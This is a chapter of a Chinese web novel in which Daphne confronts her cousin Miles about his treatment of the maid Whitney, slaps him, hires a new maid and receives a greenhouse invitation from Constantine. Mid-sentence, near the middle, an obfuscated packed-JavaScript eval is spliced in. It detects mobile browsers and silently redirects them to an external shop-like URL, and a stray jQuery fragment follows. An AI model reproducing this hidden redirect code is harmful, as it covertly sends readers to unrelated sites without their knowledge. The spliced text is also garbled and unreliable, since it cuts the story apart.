51. 真与假
作品:《再看我就报警了》 “你什么意思?”黛芙妮愣神。
迈尔斯摊手:“事实就是,她不无辜。她以为我会娶她但是美梦破碎了,大概想从你们那里拿到一笔补偿吧,就是看准了你的心软。”
黛芙妮大声喘了几口气,错愕不已,她不知道该相信谁的话。
“黛菲,你太善良了,你和姨父一样把人看得太单纯,要是没有我你们该怎么办。”迈尔斯温柔地说,“我早就说过不要靠近那些工人,可你们都认为是我看不起他们。其实我只是担心你们受到伤害,你瞧,这不就应验了吗?”
他放低声音叙说:“你觉得一个从小出来打工的女人,她会什么都不知道什么本事都没有吗?”
“勤劳、忠厚都是为了瞒过你的眼睛。她一定说过我把她当作妓女看待是不是?她将所有的错都推到我身上,本来我不在意我是男人我比她更受社会的包容。”迈尔斯说,“但是这回我真的很生气,因为她妄图欺骗你和姨妈。你们都那么好心地留下她给她工作她却不知足,她不配得到上帝的宽恕。”
黛芙妮盯着他虔诚的眼睛,她应该相信他的话吗?是选择从小就熟悉的表哥还是同为女性在她看来一直很老实的惠特妮?
“可她为什么还要陷害你呢?”她说,“用名誉这么重要的东西。”
“对你来说,对任何有教养的姑娘来说名誉当然很重要,但是对于那些生活在底层挣扎在生与死之间的人来说,名誉甚至比不过一块面包。”迈尔斯说,“不过,黛菲你永远不用去思考这些东西。”
黛芙妮不完全信他,她沉思片刻:“你别把自己说得那么无辜,男人强迫一个女人的概率可比女人强迫男人的概率大多了。还有你和她有没有——我是说——如果这样的话你必须得娶她。”
“我可爱的表妹,我亲爱的黛菲。”迈尔斯用一种怜悯的眼神望向她,似乎在可怜她的过分单纯,“男欢女爱是很正常的事,更何况还是你情我愿。我在松开裤腰带前可是和她说得明明白白的,是她违背了约定,我不会娶她的。”
“迈尔斯!你怎么能这么做!”黛芙妮对忠贞十分看重,瞬间火大了,“姨父姨妈是虔诚的教徒,你也说过会加入我们的!你还记得吧?我看你也没那么忙地忘记这样重要的事。总之你这么做是错的!”
婚前性行为是被严厉禁止的,黛芙妮将每一条规定都烂熟于心。
“人都有欲望,而且我内心是向往纯洁爱情的。”迈尔斯说。
“淫罪和淫行同属罪恶。”黛芙妮挣开他的手说,“我刚刚差点忘了,你是不是在和前一位女士交往的同时又放纵自己的欲望!”
“黛菲,这很正常!也许男人可以一辈子爱一个女人但他不可能一辈子只上一个女人。”迈尔斯说。
“你这么说的时候有没有想过姨父?他那么敬重姨妈。”愤怒爬上了黛芙妮的脸庞,一双眼睛如蓄势待发的枪口。
迈尔斯抿嘴重重叹气:“我本来不想说的,但是我爸爸他确实有个情人。”
黛芙妮震惊到嗓子都要劈叉了:“你认真的?”
“看吧,他表演得很好。每个你看到的男人都这样,我想就是姨父——”
啪!
迈尔斯侧过脸,眼里有错愕。
黛芙妮看向不知道什么时候举起的手发愣,她真的是被气到了,迈尔斯怎么能这么说她爸爸。
“你不可以这么说我爸爸!”她将颤抖的手缩成拳,站起身直接去了小会客室将门关上。
好半晌,她靠在门后再次举起右手,掌心有点泛红可见她刚刚使的力有多大。
放在以前她是绝对不可能做出这样出格的行为,但是不知怎么的,她就想起了康斯坦丁和她说过的话——疼痛才能让人记住。
这下,迈尔斯总不能再随意编排了吧......
晚餐的时候,她忐忑地坐在椅子上,狄默奇太太在照顾狄默奇先生,她不得不独自面对迈尔斯。
餐厅里只有咀嚼声和偶尔迈尔斯手中刀叉碰撞的声音。
黛芙妮第一次打人,理智上她告诉自己这是不对的,不说迈尔斯是她的兄长就说作为一名淑女她的行为也是要被谴责的,但感情上她又产生了一种自己都害怕的舒畅感。
迈尔斯切着牛排开口:“我得向你道歉,黛菲,我不该那么说的。”
黛芙妮放慢了叉肉丁的速度但并不看他。
“对不起。对你、对姨父。”迈尔斯放下刀叉。
黛芙妮还是不看他,为了显示自己很有底气,叉肉丁的速度又提高了一点。
“我也会和惠特妮道歉并且赔偿她的损失,所以你可以原谅我一回吗?”迈尔斯问。
黛芙妮说不出口,可迈尔斯已经将姿态放得很低了如果她再坚持场面会很难看。
正当她打算用力地挤出一点声音时,卡丽拯救了她:“小姐,你吃完了能帮我把蜂蜜水端上去吗?”
“好的。”这句话说得就舒服多了,黛芙妮立马起身朝外走去。
卡丽把杯子递给她后又忙着去地下室,嘴里还在嘀咕:“惠特妮这个偷懒的家伙,也不知道在做什么半天不过来......”
黛芙妮和狄默奇太太换了班,她将蜂蜜水喂给狄默奇先生才愁容满面地坐下。
“小姐,你能来一下吗?”惠特妮推开一小条门缝喊她。
黛芙妮随她出去来到走廊尽头,这回她面对惠特妮脑袋乱糟糟的,甚至不知道怎么开口。
“迈尔斯给了我一笔钱让我今天就离开,我同意了。”惠特妮平静地说,“你和太太、先生都是好人,尊重我们这类出身的人又心怀怜悯不求回报。”
黛芙妮默默地看她,有点搞不明白了。
“我有件事想告诉你,”惠特妮往前走近,又往后看了看,“别相信你的表哥,当你捂住耳朵不听他说话你才会发现他到底是个什么样的人。”
说完她退后打算离开。
“惠特妮。”黛芙妮叫住她,“你到底有没有被迈尔斯欺骗?”
惠特妮复杂地看向她:“如果以一个人的心理来判断年龄,我也许都能做你妈妈了。”
她开了个玩笑,见黛芙妮还蹙着脸说:“最高级的骗术是真假混杂,迈尔斯是其中的高手。我建议你不要把我现在说的话告诉他,不然他总有办法让你失去自己的判断。”
惠特妮的离开让卡丽嚷嚷了好几天,她总是在那儿自言自语地抱怨惠特妮不和她说一声就走,说她现在不得不一个人承担起四位主子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16838862|184350||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的活实在太吃力了。
“迈尔斯越来越难伺候了,可你偏偏说不过他。”卡丽说着又软了下来,“但是他很可怜,没了爸妈远离家乡。”
黛芙妮当时就坐在她身边,放下手里的东西盯着她,沉思。卡丽之前对迈尔斯的态度可不好这么快又变了。
过了一会儿,黛芙妮说:“我拜托了亨斯通太太,她会介绍几位兼职女佣来顶替惠特妮的位置。”
两个女佣下午就上门了。
狄默奇太太和她以及卡丽在大会客室商量。
“不如那个女孩吧,和惠特妮差不多看起来老实本分。”卡丽指着一个身材瘦削,眼睛十分规矩的女人说。
黛芙妮却指向另一位:“我更看好她。”
“她看上去和我差不多,这个年纪再来找工作手脚可没那么灵活了,当然我不是她。”卡丽说。
“我们需要经验更丰富的佣人,可以快速上手。”黛芙妮说,“至于灵活度我想她还不至于需要拐杖。再说了和你年纪相仿不正好?让你有个可以说说话的朋友。”
最后狄默奇太太同意了黛芙妮的选择,名叫玛琪拉的佣人当天下午就开工了。
两个主日过后,狄默奇先生缓缓好了起来,这简直是天大的喜事。
他不再整日整日的头晕恶心,现在可以慢慢地移动舒缓僵硬的躯体:“我差点以为自己退化了四肢,不过要是这样我一定会成为新的科学奇迹。说来还得感谢你的热心帮助,康斯坦丁。”
他对来看他的康斯坦丁说。
“爸爸,你可以趴下了。”端来茶壶茶杯的黛芙妮说,倒了一杯红茶给康斯坦丁然后在他身边的椅子上坐下。
“小管家婆,真像烦人的小蜜蜂。”狄默奇先生假装抱怨。
黛芙妮被他调侃的红了脸,偷偷看了眼康斯坦丁:“爸爸!”
没说多久的话,狄默奇太太便进来给他换药。
康斯坦丁见状放下茶杯起身,狄默奇先生让黛芙妮送他下去。
“你最近还好吗?”走了好一段路,黛芙妮主动开口。
“为什么这么问?”康斯坦丁站在楼梯口让她先下。
绕过他时裙摆扫在他的鞋面,康斯坦丁微微动了一下。
黛芙妮该怎么说,她只是随意地挑了一句日程问候而已。
“你总是让我的舌头变得卡顿。”她说,“也许我需要喝点水,润滑一下。”
康斯坦丁摩挲指尖,有点痒。
下了楼梯,他们面对面站在大门口。
“我都不知道该怎么感谢你了,你请来的外国医生帮了很大的忙。”黛芙妮感激道。
“我们不是朋友吗?”康斯坦丁在她看不到的地方不大高兴地抿抿嘴。
“是的,我们是朋友。”黛芙妮用力点头。
“温室最近引进了新的一批植物,南美洲的王莲、永恒睡莲等。”康斯坦丁将一张做工精美的邀请函递给黛芙妮,“你想去看看吗?”
黛芙妮看看他又看看那张邀请函:“我不知道有没有空,我爸爸这里......”
康斯坦丁默了片刻:“一周后的下午,如果你想去就让人告诉我。”
“谢谢。”黛芙妮收下邀请函说。

